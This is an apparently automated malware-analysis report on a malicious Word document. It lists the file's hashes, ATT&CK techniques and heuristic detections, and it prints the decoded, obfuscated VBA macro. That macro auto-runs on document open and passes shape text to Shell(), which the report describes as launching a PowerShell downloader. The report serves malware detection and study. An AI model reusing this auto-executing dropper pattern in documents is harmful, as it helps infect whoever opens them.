Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f65e2b9255836cd5…

MALICIOUS

Office (OLE)

69.4 KB Created: 2018-11-08 07:55:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: f9b4001b9ed86f5ce1ddec9cb6ba5800 SHA-1: d9640902a3f92b4fed6f1076439ca42d375ade1f SHA-256: f65e2b9255836cd59cd169a0fdf072d43b10f141879a489d79785798c4ea0e89
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro that executes a PowerShell command. This PowerShell command is obfuscated and appears to download and execute a second-stage payload. The presence of a Shell() call and references to PowerShell strongly indicate a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6923146-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923146-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       TimeValue GcCkFn + TojdTT + tZfkv + owaaFb * JbrUZ + muqspZ + wCvMW + jtops / BEBJB + fdiosw - ErhiD + pLXslB
    wcvAwH = Shell("" + rKVlzNX + kpRKvoJ + Shapes(ASiCPkJC + MPImYum + 1 + HzwjUw + PfPijb).TextFrame.TextRange.Text + lGpvkc + uKUcCt, 587453479 - 587453479)
       TimeValue (QpDBC + JFVVuX + (ucoFYn + wcjiBj))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 966 bytes
SHA-256: fb2f23b785215bebd4bc536cf24a0a1f5b9a931dd61251faa3f75ec0ee7ffb19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ikaSdRtFmUVEVq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   TimeValue Ubnki + rFzEF / ZcjuN + wYMZs + dbarS + bZdPm
   FormatNumber UZHcnN + FNUmj + lAfwsu + cHDjAm + (cfjKqJ + sArvZ)
   FormatNumber (PGnKj + auiXr + OMWXcA + uaiKw + jsAoD + iPXsw)
   TimeValue GcCkFn + TojdTT + tZfkv + owaaFb * JbrUZ + muqspZ + wCvMW + jtops / BEBJB + fdiosw - ErhiD + pLXslB
wcvAwH = Shell("" + rKVlzNX + kpRKvoJ + Shapes(ASiCPkJC + MPImYum + 1 + HzwjUw + PfPijb).TextFrame.TextRange.Text + lGpvkc + uKUcCt, 587453479 - 587453479)
   TimeValue (QpDBC + JFVVuX + (ucoFYn + wcjiBj))
   TimeValue bRMVP + StXBL / (wkaOiY + zifWdG + MoGYzV + AdDJY) + ZcjRD + orMCU + cvmbwu + Pnudmz
End Sub